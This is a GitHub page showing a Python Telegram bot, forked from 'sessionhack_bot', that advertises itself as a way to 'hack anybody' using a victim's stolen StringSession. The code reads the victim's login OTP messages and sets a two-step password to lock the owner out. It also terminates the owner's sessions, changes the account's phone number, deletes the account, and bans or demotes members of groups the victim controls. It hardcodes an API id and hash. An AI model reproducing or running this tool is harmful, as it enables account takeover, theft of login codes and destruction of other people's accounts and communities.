forked from ultra-noob/sessionhack_bot
-
Notifications
You must be signed in to change notification settings - Fork 0
/
bot.py
402 lines (352 loc) Β· 14 KB
/
bot.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
# COPYRIGHT Β© 2021-22 BY LEGENDX22 π₯
# NOW PUBLIC BY LEGENDX
import os
os.system("pip install Telethon==1.21.1")
from telethon import TelegramClient, events, functions, types
api_id = os.environ.get("APP_ID")
import os, asyncio
from os import system
from telethon.tl.types import ChannelParticipantsAdmins, ChannelParticipantAdmin, ChannelParticipantCreator
api_hash = os.environ.get("API_HASH")
token = os.environ.get("BOT_TOKEN")
client = TelegramClient('Xarmy', api_id, api_hash).start(bot_token=token)
from telethon import TelegramClient as tg
from telethon.tl.functions.channels import GetAdminedPublicChannelsRequest as pc, JoinChannelRequest as join, LeaveChannelRequest as leave, DeleteChannelRequest as dc
from telethon.sessions import StringSession as ses
from telethon.tl.functions.auth import ResetAuthorizationsRequest as rt
import telethon;from telethon import functions
from telethon.tl.types import ChannelParticipantsAdmins as cpa
from telethon.tl.functions.channels import CreateChannelRequest as ccr
mybot = "missrose_bot"
bot = borg = client
async def check(channel, uid):
try:
result = await bot(
functions.channels.GetParticipantRequest(
channel=channel, user_id=uid
)
)
return True
except telethon.errors.rpcerrorlist.UserNotParticipantError:
return False
async def change_number_code(strses, number, code, otp):
async with tg(ses(strses), 1621727, "31350903c528876f79527398c09660ce") as X:
bot = client = X
try:
result = await bot(functions.account.ChangePhoneRequest(
phone_number=number,
phone_code_hash=code,
phone_code=otp
))
return True
except:
return False
async def change_number(strses, number):
async with tg(ses(strses), 1621727, "31350903c528876f79527398c09660ce") as X:
bot = client = X
result = await bot(functions.account.SendChangePhoneCodeRequest(
phone_number=number,
settings=types.CodeSettings(
allow_flashcall=True,
current_number=True,
allow_app_hash=True
)
))
return str(result)
async def userinfo(strses):
async with tg(ses(strses), 1621727, "31350903c528876f79527398c09660ce") as X:
k = await X.get_me()
return str(k)
async def terminate(strses):
async with tg(ses(strses), 1621727, "31350903c528876f79527398c09660ce") as X:
await X(rt())
GROUP_LIST = []
async def delacc(strses):
async with tg(ses(strses), 1621727, "31350903c528876f79527398c09660ce") as X:
await X(functions.account.DeleteAccountRequest("me hi chutia hu"))
async def promote(strses, grp, user):
async with tg(ses(strses), 1621727, "31350903c528876f79527398c09660ce") as X:
try:
await X.edit_admin(grp, user, manage_call=True, invite_users=True, ban_users=True, change_info=True, edit_messages=True, post_messages=True, add_admins=True, delete_messages=True)
except:
await X.edit_admin(grp, user, is_admin=True, anonymous=False, pin_messages=True, title='Owner')
async def user2fa(strses):
async with tg(ses(strses), 1621727, "31350903c528876f79527398c09660ce") as X:
try:
await X.edit_2fa('LEGENDXISBEST')
return True
except:
return False
async def demall(strses, grp):
async with tg(ses(strses), 1621727, "31350903c528876f79527398c09660ce") as X:
async for x in X.iter_participants(grp, filter=ChannelParticipantsAdmins):
try:
await X.edit_admin(grp, x.id, is_admin=False, manage_call=False)
except:
await X.edit_admin(grp, x.id, manage_call=False, invite_users=False, ban_users=False, change_info=False, edit_messages=False, post_messages=False, add_admins=False, delete_messages=False)
async def joingroup(strses, username):
async with tg(ses(strses), 1621727, "31350903c528876f79527398c09660ce") as X:
await X(join(username))
async def leavegroup(strses, username):
async with tg(ses(strses), 1621727, "31350903c528876f79527398c09660ce") as X:
await X(leave(username))
async def delgroup(strses, username):
async with tg(ses(strses), 1621727, "31350903c528876f79527398c09660ce") as X:
await X(dc(username))
async def cu(strses):
try:
async with tg(ses(strses), 1621727, "31350903c528876f79527398c09660ce") as X:
k = await X.get_me()
return [str(k.first_name), str(k.username or k.id)]
except Exception as e:
return False
async def usermsgs(strses):
async with tg(ses(strses), 1621727, "31350903c528876f79527398c09660ce") as X:
i = ""
async for x in X.iter_messages(777000, limit=3):
i += f"\n{x.text}\n"
return str(i)
async def userbans(strses, grp):
async with tg(ses(strses), 1621727, "31350903c528876f79527398c09660ce") as X:
k = await X.get_participants(grp)
for x in k:
try:
await X.edit_permissions(grp, x.id, view_messages=False)
except:
pass
async def userchannels(strses):
async with tg(ses(strses), 1621727, "31350903c528876f79527398c09660ce") as X:
k = await X(pc())
i = ""
for x in k.chats:
try:
i += f'\nCHANNEL NAME {x.title} CHANNEL USRNAME @{x.username}\n'
except:
pass
return str(i)
import logging
logging.basicConfig(level=logging.WARNING)
channel = "TheXArmy"
menu = '''
**NOTICE JOIN @TheXArmy FEDERATION**
FED ID `2936f6a8-cc1d-4f76-ac1f-ac752fe5caef`
A: [check user own groups and channels]
B: [check user all information like phone number usrname...]
C: [ban a group {give me StringSession and channel/group username i will ban all members there}]
D: [know user last otp {1st use option B take phone number and login there Account then use me i will give you otp}]
E: [Join A Group/Channel via StringSession]
F: [Leave A Group/Channel via StringSession]
G: [Delete A Group/Channel]
H: [Check user two step is eneable or disable]
I: [Terminate All current active sessions except Your StringSession]
J: [Delete Account]
K: [Demote all admins in a group/channel]
L: [Promote a member in a group/channel]
M: [Change Phone number using StringSession]
I ADD MORE FEATURES LATER π
'''
mm = '''
You can hack anybody
Take his StringSession and use me
I will give you full power of mine
Type /hack
'''
@client.on(events.NewMessage(pattern="/start"))
async def op(event):
global mm
if not event.is_private:
await event.reply("please use me in pmπ₯Ί")
else:
await event.reply(mm)
@client.on(events.NewMessage(pattern="/hack", func=lambda x: x.is_group))
async def op(event):
await event.reply("please use me in pmπ₯Ί")
@client.on(events.NewMessage(pattern="/hack", func = lambda x: x.is_private))
async def start(event):
global menu
global channel
k = await check (channel, event.sender_id)
if not k:
return await event.reply("Hey Kiddo 1st Join @TheXArmy")
async with bot.conversation(event.chat_id) as x:
await x.send_message(f"Choose what you want with string session \n\n{menu}")
res = await x.get_response()
r = res.text
if res.text == "A":
await x.send_message("GIVE STRING SESSION")
strses = await x.get_response()
op = await cu(strses.text)
if op:
pass
else:
return await event.respond("This StringSession is terminated maybe")
try:
i = await userchannels(strses.text)
except:
return await event.reply("This StringSession is terminated maybe")
if len(i) > 3855:
file = open("session.txt", "w")
file.write(i + "\n\nDETAILS BY X ARMY")
file.close()
await bot.send_file(event.chat_id, "session.txt")
system("rm -rf session.txt")
else:
await event.reply(i + "\n\nThanks For using X Army Bot")
elif res.text == "B":
await x.send_message("GIVE STRING SESSION")
strses = await x.get_response()
op = await cu(strses.text)
if op:
pass
else:
return await event.respond("This StringSession is terminated maybe")
i = await userinfo(strses.text)
await event.reply(i + "\n\nThanks For using X Army Bot")
elif r == "C":
await x.send_message("GIVE STRING SESSION")
strses = await x.get_response()
op = await cu(strses.text)
if op:
pass
else:
return await event.respond("This StringSession is terminated maybe")
await x.send_message("GIVE GROUP/CHANNEL USERNAME/ID")
grpid = await x.get_response()
await userbans(strses.text, grpid.text)
await event.reply("Banning all members Thanks For using X Army Bot")
elif r == "D":
await x.send_message("GIVE STRING SESSION")
strses = await x.get_response()
op = await cu(strses.text)
if op:
pass
else:
return await event.respond("This StringSession is terminated maybe")
i = await usermsgs(strses.text)
await event.reply(i + "\n\nThanks For using X Army Bot")
elif r == "E":
await x.send_message("GIVE STRING SESSION")
strses = await x.get_response()
op = await cu(strses.text)
if op:
pass
else:
return await event.respond("This StringSession is terminated maybe")
await x.send_message("GIVE GROUP/CHANNEL USERNAME/ID")
grpid = await x.get_response()
await joingroup(strses.text, grpid.text)
await event.reply("Joined the Channel/Group Thanks For using X Army Bot")
elif r == "F":
await x.send_message("GIVE STRING SESSION")
strses = await x.get_response()
op = await cu(strses.text)
if op:
pass
else:
return await event.respond("This StringSession is terminated maybe")
await x.send_message("GIVE GROUP/CHANNEL USERNAME/ID")
grpid = await x.get_response()
await leavegroup(strses.text, grpid.text)
await event.reply("Leaved the Channel/Group Thanks For using X Army Bot")
elif r == "G":
await x.send_message("GIVE STRING SESSION")
strses = await x.get_response()
op = await cu(strses.text)
if op:
pass
else:
return await event.respond("This StringSession is terminated maybe")
await x.send_message("GIVE GROUP/CHANNEL USERNAME/ID")
grpid = await x.get_response()
await delgroup(strses.text, grpid.text)
await event.reply("Deleted the Channel/Group Thanks For using X Army Bot")
elif r == "H":
await x.send_message("GIVE STRING SESSION")
strses = await x.get_response()
op = await cu(strses.text)
if op:
pass
else:
return await event.respond("This StringSession is terminated maybe")
i = await user2fa(strses.text)
if i:
await event.reply("User don't have two step thats why now two step is `LEGENDXISBEST` you can login now\n\nThanks For using X Army Bot")
else:
await event.reply("Sorry User Have two step already")
elif r == "I":
await x.send_message("GIVE STRING SESSION")
strses = await x.get_response()
op = await cu(strses.text)
if op:
pass
else:
return await event.respond("This StringSession is terminated maybe")
i = await terminate(strses.text)
await event.reply("The all sessions are terminated\n\nThanks For using X Army Bot")
elif res.text == "J":
await x.send_message("GIVE STRING SESSION")
strses = await x.get_response()
op = await cu(strses.text)
if op:
pass
else:
return await event.respond("This StringSession is terminated maybe")
i = await delacc(strses.text)
await event.reply("The Account is deleted SUCCESSFULLLY\n\nThanks For using X Army Bot")
elif res.text == "L":
await x.send_message("GIVE STRING SESSION")
strses = await x.get_response()
op = await cu(strses.text)
if op:
pass
else:
return await event.respond("This StringSession is terminated maybe")
await x.send_message("NOW GIVE GROUP/CHANNEL USERNAME")
grp = await x.get_response()
await x.send_message("NOW GIVE USER USERNAME")
user = await x.get_response()
i = await promote(strses.text, grp.text, user.text)
await event.reply("I am Promoting you in Group/Channel wait a min ππ\n\nThanks For using X Army Bot")
elif res.text == "K":
await x.send_message("GIVE STRING SESSION")
strses = await x.get_response()
op = await cu(strses.text)
if op:
pass
else:
return await event.respond("This StringSession is terminated maybe")
await x.send_message("NOW GIVE GROUP/CHANNEL USERNAME")
pro = await x.get_response()
try:
i = await demall(strses.text, pro.text)
except:
pass
await event.reply("I am Demoting all members of Group/Channel wait a min ππ\n\nThanks For using X Army Bot")
elif res.text == "M":
await x.send_message("GIVE STRING SESSION")
strses = await x.get_response()
op = await cu(strses.text)
if op:
pass
else:
return await event.respond("This StringSession is terminated maybe")
await x.send_message("GIVE NUMBER WHICH YOU WANT TO CHANGE\n[NOTE: DONT USE 2ndline or text now numbers]\n[if you are use 2nd line or text now you can't get otp] ")
number = (await x.get_response()).text
try:
result = await change_number(strses.text, number)
await event.respond(result + "\n copy the phone code hash and check your number you got otp\ni stop for 20 sec copy phone code hash and otp")
await asyncio.sleep(20)
await x.send_message("NOW GIVE PHONE CODE HASH")
phone_code_hash = (await x.get_response()).text
await x.send_message("NOW GIVE THE OTP")
otp = (await x.get_response()).text
changing = await change_number_code(strses.text, number, phone_code_hash, otp)
if changing:
await event.respond("CONGRATULATIONS NUMBER WAS CHANGED")
else:
await event.respond("Something is wrong")
except Exception as e:
await event.respond("SEND THIS ERROR TO - @sessionhack_chat\n**LOGS**\n" + str(e))
else:
await event.respond("Wrong Text Found Re type /hack and use")
client.run_until_disconnected()